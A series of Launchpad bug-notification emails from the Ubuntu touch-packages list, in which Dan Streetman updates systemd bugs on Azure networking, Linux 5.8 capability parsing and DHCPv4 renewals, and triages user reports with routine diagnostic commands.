[Dan Streetman]

** Description changed:

  [impact]
  
  on boot of a specific azure instance, the ID_NET_DRIVER parameter of the
  instance's eth0 interface is not set. That leads to a failure of
  systemd-networkd to take control of the interface after a restart of
  systemd-networkd, which results in DNS failures (at first) and
  eventually complete loss of networking (once the DHCP lease expires).
  
  [test case]
  
  this occurs on first boot of an instance using the specific image; it is
  not reproducable using the latest ubuntu image nor any reboot of the
  affected image, and it has not been reproducable (for me) when using
  debug-enabled images based on the affected image.
  
  So, while the problem is reproducable using the specific image in
  question, it's not possible to verify the fix since any change to the
  image removes reproducability.
+ 
+ however, while the problem itself can't be reproduced and then verified,
+ if the assumption is correct (that the 'add' uevent is being missed on
+ boot), that is possible to test and verify:
+ 
+ $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
+ E: ID_NET_DRIVER=hv_netvsc
+ $ sudo rm /run/udev/data/n2 
+ 
+ (note, change 'n2' to whichever network interface index is correct)
+ 
+ $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
+ $ sudo udevadm trigger -c change /sys/class/net/eth0
+ $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
+ 
+ (note the 'change' uevent did not populate ID_NET_DRIVER property)
+ 
+ $ sudo udevadm trigger -c add /sys/class/net/eth0
+ $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
+ E: ID_NET_DRIVER=hv_netvsc
+ 
+ (note the 'add' uevent did populate ID_NET_DRIVER)
+ 
+ the test verification should result in ID_NET_DRIVER being populated for
+ a 'change' uevent.
  
  [regression potential]
  
  any regression would likely involve problems with systemd-udevd
  processing 'change' events from network devices, and/or incorrect udevd
  device properties.
  
  [scope]
  
  this is needed only for focal and groovy.
  
  this is fixed by upstream commit e0e789c1e97 which is first included in
  v247, so this is fixed already in hirsute.
  
  while this commit is not included in bionic, due to the difficult nature
  of reproducing (and verifying) this, and the fact it has only been seen
  once on a focal image, I don't think it's appropriate to SRU to bionic
  at this point; possibly it may be appropriate if this is ever reproduced
  with a bionic image.
  
  [other info]
  
  note that this bug's subject and description, as well as the upstream
  systemd bug subject and description, talk about the problem being DNS
  resolution. However that is strictly a side-effect of the real problem
  and is not the actual issue.
  
  [original description]
  
  The systemd upgrade 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to have
  broken DNS resolution across much of our Azure fleet earlier today.  We
  ended up mitigating this by forcing reboots on the associated instances,
  no combination of networkctl reload, reconfigure, systemctl daemon-
  reexec, systemctl daemon-reload, netplan generate, netplan apply would
  get resolvectl to have a DNS server again.  The main symptom appears to
  have been systemd-networkd believing it wasn't managing the eth0
  interfaces:
  
  ubuntu@machine-1:~$ sudo networkctl
  IDX LINK TYPE OPERATIONAL SETUP
    1 lo   loopback carrier unmanaged
    2 eth0 etherroutableunmanaged
    2 
links listed.
  
  Which eventually made them lose their DNS resolvers:
  
  ubuntu@machine-1:~$ sudo resolvectl dns
  Global:
  Link 2 (eth0):
  
  After rebooting, we see this behaving properly:
  
  ubuntu@machine-1:~$ sudo networkctl list
  IDX LINK TYPE OPERATIONAL SETUP
    1 lo   loopback carrier unmanaged
    2 eth0 etherroutableconfigured
  
  2 links listed.
  ubuntu@machine-1:~$ sudo resolvectl dns
  Global:
  Link 2 (eth0): 168.63.129.16
  
  This appears to be specifically linked to the upgrade, i.e. we were able to 
provoke the issue by upgrading the systemd package, so I suspect it's part of 
the packaging in the upgrade process.
  ---
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27.10
  Architecture: amd64
  CasperMD5CheckResult: skip
  DistroRelease: Ubuntu 20.04
  Lspci-vt:
   -[:00]-+-00.0  Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge 
(AGP disabled)
  +-07.0  Intel Corporation 82371AB/EB/MB PIIX4 ISA
  +-07.1  Intel Corporation 82371AB/EB/MB PIIX4 IDE
  +-07.3  Intel Corporation 82371AB/EB/MB PIIX4 ACPI
  \-08.0  Microsoft Corporation Hyper-V virtual VGA
  Lsusb: Error: command ['lsusb'] failed with exit code 1:
  Lsusb-t:
  
  Lsusb-v: Error: command ['lsusb', '-v'] failed with exit code 1:
  MachineType: Microsoft Corporation Virtual Machine
  Package: systemd 245.4-4ubuntu3.3
  PackageArchitecture: amd64
  

[Touch-packages] [Bug 1905245] Re: "Failed to parse bus message: Invalid argument" with Linux 5.8

[Dan Streetman]

** Description changed:

  [impact]
  
  newer kernels introduced a new capability, and existing systemd doesn't
  have the name mapping for the new cap (since the mapping table is
  generated at systemd compile time), so it fails when trying to map the
  capability to a user-facing name, which causes failure when running
  commands like 'systemctl show'
  
  [test case]
  
  install a focal system, and install the 5.8 (or newer) kernel, e.g. from
  linux-generic-hwe-20.04-edge, and reboot into the new kernel.
  
  Find any service that does not specify its CapabilityBoundingSet; e.g.
  'apparmor', and run systemctl show on it:
  
  ubuntu@lp1905245-f:~$ systemctl show -p CapabilityBoundingSet apparmor
  Failed to parse bus message: Invalid argument
  
  the command should correctly show the value, e.g.:
  $ systemctl show -p CapabilityBoundingSet apparmor
  CapabilityBoundingSet=cap_chown cap_dac_override ...etc...
  
  [regression potential]
  
  a regression would likely occur while systemd is parsing or printing or
  otherwise handling kernel capabilities. A regression could happen when
  running systemd commands, such as systemctl, or when pid1 is managing
  services.
  
  [scope]
  
- this is needed only in focal (and possibly bionic).
+ this is needed only in focal and bionic.
  
  This is fixed upstream by PR 16424:
  https://github.com/systemd/systemd/pull/16424
  which was first included in v246, so this is already fixed in groovy and 
later.
  
- this was introduced externally from systemd, with the new capability in the 
kernel, so this fix technically is needed in x/b/f. However, x is unlikely to 
get a new kernel capability during the rest of its life cycle.
- For b, unless a kernel is added that includes a new capability, this patch is 
not needed.
+ This was introduced upstream in systemd by commit
+ 52610b020c077ee769c6923249f7e6c4e99d2980 which was first included in
+ v235, so this bug does not exist in Xenial.
+ 
+ This bug will reproduce on any system running under the 5.8 kernel, with
+ the new capability, if the systemd binary was compiled with kernel
+ headers that do not include the new capability. This means this is
+ reproducable on bare-metal/vm instances running 5.8, as well as
+ containers on hosts running 5.8. Therefore, while bionic may not ever
+ receive a new kernel with added capability, it still needs to be patched
+ to avoid the bug on a bionic container running on a host with the 5.8
+ kernel.
  
  [other info]
  
  there is a testcase-only related bug 1905044
  
  [original description]
  
  When I run `systemctl show myservice.service`, I get the following error
  message:
  
     Failed to parse bus message: Invalid argument
  
  systemd version: 245.4-4ubuntu3.3
  linux version: 5.8.0-29-generic #31~20.04.1-Ubuntu  (From 
linux-generic-hwe-20.04-edge)
  
  This is a bug that has been fixed in Debian. See https://bugs.debian.org
  /cgi-bin/bugreport.cgi?bug=964926
  
  Please can we port the fix to the ubuntu 20.04 version.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905245

Title:
  "Failed to parse bus message: Invalid argument" with Linux 5.8

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  newer kernels introduced a new capability, and existing systemd
  doesn't have the name mapping for the new cap (since the mapping table
  is generated at systemd compile time), so it fails when trying to map
  the capability to a user-facing name, which causes failure when
  running commands like 'systemctl show'

  [test case]

  install a focal system, and install the 5.8 (or newer) kernel, e.g.
  from linux-generic-hwe-20.04-edge, and reboot into the new kernel.

  Find any service that does not specify its CapabilityBoundingSet; e.g.
  'apparmor', and run systemctl show on it:

  ubuntu@lp1905245-f:~$ systemctl show -p CapabilityBoundingSet apparmor
  Failed to parse bus message: Invalid argument

  the command should correctly show the value, e.g.:
  $ systemctl show -p CapabilityBoundingSet apparmor
  CapabilityBoundingSet=cap_chown cap_dac_override ...etc...

  [regression potential]

  a regression would likely occur while systemd is parsing or printing
  or otherwise handling kernel capabilities. A regression could happen
  when running systemd commands, such as systemctl, or when pid1 is
  managing services.

  [scope]

  this is needed only in focal and bionic.

  This is fixed upstream by PR 16424:
  https://github.com/systemd/systemd/pull/16424
  which was first included in v246, so this is already fixed in groovy and 
later.

  This was introduced upstream in systemd by commit
  52610b020c077ee769c6923249f7e6c4e99d2980 which was first included in
  v235, so this bug does not exist in 

[Touch-packages] [Bug 1905245] Re: "Failed to parse bus message: Invalid argument" with Linux 5.8

[Dan Streetman]

** Changed in: systemd (Ubuntu Focal)
   Importance: Medium => High

** Changed in: systemd (Ubuntu Bionic)
   Importance: Medium => High

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905245

Title:
  "Failed to parse bus message: Invalid argument" with Linux 5.8

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  newer kernels introduced a new capability, and existing systemd
  doesn't have the name mapping for the new cap (since the mapping table
  is generated at systemd compile time), so it fails when trying to map
  the capability to a user-facing name, which causes failure when
  running commands like 'systemctl show'

  [test case]

  install a focal system, and install the 5.8 (or newer) kernel, e.g.
  from linux-generic-hwe-20.04-edge, and reboot into the new kernel.

  Find any service that does not specify its CapabilityBoundingSet; e.g.
  'apparmor', and run systemctl show on it:

  ubuntu@lp1905245-f:~$ systemctl show -p CapabilityBoundingSet apparmor
  Failed to parse bus message: Invalid argument

  the command should correctly show the value, e.g.:
  $ systemctl show -p CapabilityBoundingSet apparmor
  CapabilityBoundingSet=cap_chown cap_dac_override ...etc...

  [regression potential]

  a regression would likely occur while systemd is parsing or printing
  or otherwise handling kernel capabilities. A regression could happen
  when running systemd commands, such as systemctl, or when pid1 is
  managing services.

  [scope]

  this is needed only in focal (and possibly bionic).

  This is fixed upstream by PR 16424:
  https://github.com/systemd/systemd/pull/16424
  which was first included in v246, so this is already fixed in groovy and 
later.

  this was introduced externally from systemd, with the new capability in the 
kernel, so this fix technically is needed in x/b/f. However, x is unlikely to 
get a new kernel capability during the rest of its life cycle.
  For b, unless a kernel is added that includes a new capability, this patch is 
not needed.

  [other info]

  there is a testcase-only related bug 1905044

  [original description]

  When I run `systemctl show myservice.service`, I get the following
  error message:

     Failed to parse bus message: Invalid argument

  systemd version: 245.4-4ubuntu3.3
  linux version: 5.8.0-29-generic #31~20.04.1-Ubuntu  (From 
linux-generic-hwe-20.04-edge)

  This is a bug that has been fixed in Debian. See
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964926

  Please can we port the fix to the ubuntu 20.04 version.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1905245/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1905245] Re: "Failed to parse bus message: Invalid argument" with Linux 5.8

[Dan Streetman]

Sorry for the delay; the patched systemd is in the upload queue:
https://launchpad.net/ubuntu/focal/+queue?queue_state=1_text=

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905245

Title:
  "Failed to parse bus message: Invalid argument" with Linux 5.8

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  newer kernels introduced a new capability, and existing systemd
  doesn't have the name mapping for the new cap (since the mapping table
  is generated at systemd compile time), so it fails when trying to map
  the capability to a user-facing name, which causes failure when
  running commands like 'systemctl show'

  [test case]

  install a focal system, and install the 5.8 (or newer) kernel, e.g.
  from linux-generic-hwe-20.04-edge, and reboot into the new kernel.

  Find any service that does not specify its CapabilityBoundingSet; e.g.
  'apparmor', and run systemctl show on it:

  ubuntu@lp1905245-f:~$ systemctl show -p CapabilityBoundingSet apparmor
  Failed to parse bus message: Invalid argument

  the command should correctly show the value, e.g.:
  $ systemctl show -p CapabilityBoundingSet apparmor
  CapabilityBoundingSet=cap_chown cap_dac_override ...etc...

  [regression potential]

  a regression would likely occur while systemd is parsing or printing
  or otherwise handling kernel capabilities. A regression could happen
  when running systemd commands, such as systemctl, or when pid1 is
  managing services.

  [scope]

  this is needed only in focal (and possibly bionic).

  This is fixed upstream by PR 16424:
  https://github.com/systemd/systemd/pull/16424
  which was first included in v246, so this is already fixed in groovy and 
later.

  this was introduced externally from systemd, with the new capability in the 
kernel, so this fix technically is needed in x/b/f. However, x is unlikely to 
get a new kernel capability during the rest of its life cycle.
  For b, unless a kernel is added that includes a new capability, this patch is 
not needed.

  [other info]

  there is a testcase-only related bug 1905044

  [original description]

  When I run `systemctl show myservice.service`, I get the following
  error message:

     Failed to parse bus message: Invalid argument

  systemd version: 245.4-4ubuntu3.3
  linux version: 5.8.0-29-generic #31~20.04.1-Ubuntu  (From 
linux-generic-hwe-20.04-edge)

  This is a bug that has been fixed in Debian. See
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964926

  Please can we port the fix to the ubuntu 20.04 version.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1905245/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1907306] Re: networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

[Dan Streetman]

> What is the status of this fix for hirsute?

it's merged:
https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=9454c4cb1b85f6f6945a29b6860e0747432318a1
https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=bec49911b27520a676c5c0e7c68b1919dfda8804

but not released yet.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1907306

Title:
  networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

  [test case]

  configure an interface to use dhcpv4; acquire a dhcpv4 address, then
  stop the dhcpv4 server, and wait for the networkd client to perform
  its renewals and rebinds before expiring the lease

  using a 20 minute lease time as an example (all times are approximate
  due to RFC-mandated random 'fuzz' time of -1 to +1 sec):

  the current behavior would be to sent renew requests at:

  10:00
  13:45

  and then rebind requests at:

  17:30
  18:45

  then the lease would expire at 20:00

  the correct/new behavior should be renew requests at:

  10:00
  13:45
  15:37
  16:37

  and then rebind requests at:

  17:30
  18:45
  19:45

  and then lease expiration at 20:00.

  longer lease times would increase the number of retransmissions.

  [regression potential]

  any regression would likely result in problems receiving and/or
  maintaining a dhcpv4 address

  [scope]

  this is needed in b/f/g/h.

  this was fixed upstream in:
  https://github.com/systemd/systemd/pull/17908

  that was just added, so this is not fixed in any ubuntu release yet.

  technically, this is needed in x as well, however I don't plan to
  backport to x since 1) it reaches ESM soon and 2) the default network
  management tool in x is ifupdown, not systemd-networkd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1907306/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881947] Re: Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function main(). Aborting.

[Dan Streetman]

** Also affects: systemd (Ubuntu Hirsute)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu Hirsute)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Hirsute)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Hirsute)
   Importance: Undecided => Low

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881947

Title:
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

Status in systemd:
  New
Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  Observed in an focal/arm64 autopkgtest failure of systemd 245.4-4ubuntu3.1:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20200603_071743_738b2@/log.gz

  [...]
  PASS: test-journal-enum
  == test-journal-flush ===
  Root directory /var/log/journal removed.
  Directory /var/log/journal/3286b2469d224077b1026d239d625b0d removed.
  mmap cache statistics: 739 hit, 5 miss
  journal_file_copy_entry failed: Bad message
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function 
main(). Aborting.
  FAIL: test-journal-flush (code: 134)
  Aborted (core dumped)
  == test-journal-importer ===
  [...]
  autopkgtest [07:17:29]:  summary
  timedatedPASS
  hostnamedPASS
  localed-locale   PASS
  localed-x11-keymap   PASS
  logind   PASS
  unit-config  PASS
  storage  PASS
  networkd-test.py PASS
  build-login  PASS
  boot-and-servicesPASS
  udev PASS
  root-unittests   FAIL non-zero exit status 134
  upstream PASS
  boot-smoke   PASS
  systemd-fsckdPASS
  Exit request sent.
  [...]

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1881947/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1908991] Re: Compose key doesn't work after a while

[Dan Streetman]

this doesn't seem to have anything to do with systemd, and it sounds
like you're manually configuring the key, so it's not clear to me what
the problem is. your manual configuration was removed after a kernel
update, or something else?

** Changed in: systemd (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1908991

Title:
  Compose key doesn't work after a while

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I attached my M-TECH keyboard to USB 2.0 hub connected to USB 2.0 port
  on my laptop. I also attached my mouse to the same hub.

  On kernels up to 5.9, compose key (which I defined as Right
  Super/Right Win) worked for a while, and then did not work (no
  accented letter inserted when typing right sequence). For example,
  instead of à I got `a.

  On 5.10 kernel (I reported this bug using custom-compiled 5.10.1
  kernel), compose key does not work initially.

  The workaround is to open Tweaks and redefine compose key to the same
  key.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: udev 245.4-4ubuntu3.3
  Uname: Linux 5.10.1-kernelorg-upstream-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.14
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  CustomUdevRuleFiles: 70-snap.snapd.rules
  Date: Tue Dec 22 15:44:43 2020
  InstallationDate: Installed on 2020-05-05 (230 days ago)
  InstallationMedia: Ubuntu-MATE 20.04 LTS "Focal Fossa" - Release amd64 
(20200423)
  MachineType: Acer Aspire E5-571
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.1-kernelorg-upstream-generic 
root=UUID=30956875-cf76-41af-963e-866e73f8e23e ro
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/06/2014
  dmi.bios.release: 1.4
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: V1.04
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: EA50_HB
  dmi.board.vendor: Acer
  dmi.board.version: V1.04
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: Acer
  dmi.chassis.version: Chassis Version
  dmi.ec.firmware.release: 1.4
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.04:bd05/06/2014:br1.4:efr1.4:svnAcer:pnAspireE5-571:pvrV1.04:rvnAcer:rnEA50_HB:rvrV1.04:cvnAcer:ct10:cvrChassisVersion:
  dmi.product.family: SharkBay System
  dmi.product.name: Aspire E5-571
  dmi.product.sku: Aspire E5-571_0866_V1.04
  dmi.product.version: V1.04
  dmi.sys.vendor: Acer
  modified.conffile..etc.apport.crashdb.conf: [modified]
  mtime.conffile..etc.apport.crashdb.conf: 2020-08-11T18:33:58.913741

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1908991/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1908998] Re: Failed to start Service for snap application tor.tor.

[Dan Streetman]

your 'tor' service is failing to start - you should look at the logs for
it to see why.

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1908998

Title:
  Failed to start Service for snap application tor.tor.

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  In the important tab of Logs I get this error:
  /*
  Sender: systemd
  Message: Failed to start Service for snap application tor.tor.
  Subject: A start job for unit snap.tor.tor.service has failed
  Defined by: systemd
  A start job for unit snap.tor.tor.service has finished with a failure.

  The job identifier is 2061 and the job result is failed.
  */
  My syslog and kern.log files are huge > 80GB each and I was told that I 
should resolve errors there in order for the files to return to normal sizes.

  OS: Ubuntu 20.04

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.3
  ProcVersionSignature: Ubuntu 5.0.0-1070.76-oem-osp1 5.0.21
  Uname: Linux 5.0.0-1070-oem-osp1 x86_64
  ApportVersion: 2.20.11-0ubuntu27.14
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Dec 22 12:22:20 2020
  DistributionChannelDescriptor:
   # This is the distribution channel descriptor for the OEM CDs
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-bionic-amd64-20190418-59+beaver-osp1-loras+X18
  InstallationDate: Installed on 2019-12-04 (383 days ago)
  InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 
20190418-12:10
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 0c45:671e Microdia Integrated_Webcam_HD
   Bus 001 Device 003: ID 0cf3:e009 Qualcomm Atheros Communications 
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Dell Inc. Inspiron 3593
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.0.0-1070-oem-osp1 
root=UUID=26003f0f-3564-472f-984c-a9a00e480fd0 ro mem_sleep_default=deep 
tsc=reliable quiet splash vt.handoff=7
  SourcePackage: systemd
  UpgradeStatus: Upgraded to focal on 2020-11-04 (47 days ago)
  dmi.bios.date: 11/13/2020
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.13.0
  dmi.board.name: 04N9HV
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.13.0:bd11/13/2020:svnDellInc.:pnInspiron3593:pvr:rvnDellInc.:rn04N9HV:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 3593
  dmi.product.sku: 0979
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1908998/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881947] Re: Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function main(). Aborting.

[Dan Streetman]

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Groovy)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Groovy)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Focal)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Groovy)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881947

Title:
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

Status in systemd:
  New
Status in systemd package in Ubuntu:
  New
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  Observed in an focal/arm64 autopkgtest failure of systemd 245.4-4ubuntu3.1:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20200603_071743_738b2@/log.gz

  [...]
  PASS: test-journal-enum
  == test-journal-flush ===
  Root directory /var/log/journal removed.
  Directory /var/log/journal/3286b2469d224077b1026d239d625b0d removed.
  mmap cache statistics: 739 hit, 5 miss
  journal_file_copy_entry failed: Bad message
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function 
main(). Aborting.
  FAIL: test-journal-flush (code: 134)
  Aborted (core dumped)
  == test-journal-importer ===
  [...]
  autopkgtest [07:17:29]:  summary
  timedatedPASS
  hostnamedPASS
  localed-locale   PASS
  localed-x11-keymap   PASS
  logind   PASS
  unit-config  PASS
  storage  PASS
  networkd-test.py PASS
  build-login  PASS
  boot-and-servicesPASS
  udev PASS
  root-unittests   FAIL non-zero exit status 134
  upstream PASS
  boot-smoke   PASS
  systemd-fsckdPASS
  Exit request sent.
  [...]

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1881947/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1909390] Re: package libudev1 245.4-4ubuntu3.3 failed to install/upgrade: trying to overwrite shared '/usr/share/doc/libudev1/changelog.Debian.gz', which is different from other

[Dan Streetman]

You appear to have installed 'steam'; unfortunately that's i386-only
(meaning 32-bit only), and your system is 64-bit, so some of the 32-bit
packages steam pulled in are causing problems. In your specific case,
the 32-bit libudev1 and 64-bit libudev1 both provide the
'/usr/share/doc/libudev1/changelog.Debian.gz' file, and it seems there
is a problem with it; however, it is the same in both 32 and 64 bit
packages, e.g.:

$ for v in 245.4-4ubuntu3 245.4-4ubuntu3.1 245.4-4ubuntu3.2
245.4-4ubuntu3.3 ; do mkdir libudev1-$v ; pushd libudev1-$v ; for a in
amd64 i386 ; do pull-lp-debs -a $a libudev1 focal $v ; dpkg-deb -x
libudev1_${v}_${a}.deb $a ; done ; popd ; done

$ md5sum libudev1-245.4-4ubuntu3*/*/usr/share/doc/libudev1/changelog.Debian.gz 
d46302ec3d1cf55452fc22a81f8e9a4e  
libudev1-245.4-4ubuntu3.1/amd64/usr/share/doc/libudev1/changelog.Debian.gz
d46302ec3d1cf55452fc22a81f8e9a4e  
libudev1-245.4-4ubuntu3.1/i386/usr/share/doc/libudev1/changelog.Debian.gz
d03bac6f8646362108606a5d0052  
libudev1-245.4-4ubuntu3.2/amd64/usr/share/doc/libudev1/changelog.Debian.gz
d03bac6f8646362108606a5d0052  
libudev1-245.4-4ubuntu3.2/i386/usr/share/doc/libudev1/changelog.Debian.gz
4e623822882d020992f5879f85a243e1  
libudev1-245.4-4ubuntu3.3/amd64/usr/share/doc/libudev1/changelog.Debian.gz
4e623822882d020992f5879f85a243e1  
libudev1-245.4-4ubuntu3.3/i386/usr/share/doc/libudev1/changelog.Debian.gz
3f77db4537022043d2a6dd8509718118  
libudev1-245.4-4ubuntu3/amd64/usr/share/doc/libudev1/changelog.Debian.gz
3f77db4537022043d2a6dd8509718118  
libudev1-245.4-4ubuntu3/i386/usr/share/doc/libudev1/changelog.Debian.gz

So there should not have been any 32/64-bit conflict; something appears
to have happened on your system to corrupt the changelog.Debian.gz file,
or maybe mismatched versions of your 32 and 64 libudev1 packages were
installed.


By default, you can't install steam on a 64-bit system, as it's only provided 
as a 32-bit binary package, so I assume you've enabled 32-bit on your system, 
with e.g.:

$ sudo dpkg --add-architecture i386

and then installed steam.

Starting in 20.04, 32-bit has been deprecated and is only available in
limited form; while both the 64-bit and 32-bit libudev1 packages do
contain an identical changelog.Debian.gz file, I'm not sure if any
specical steps need to be taken to ensure matched versioning for both
32/64 bit libudev1 packages. Also, I tried reproducing this, but I
didn't encounter your error.

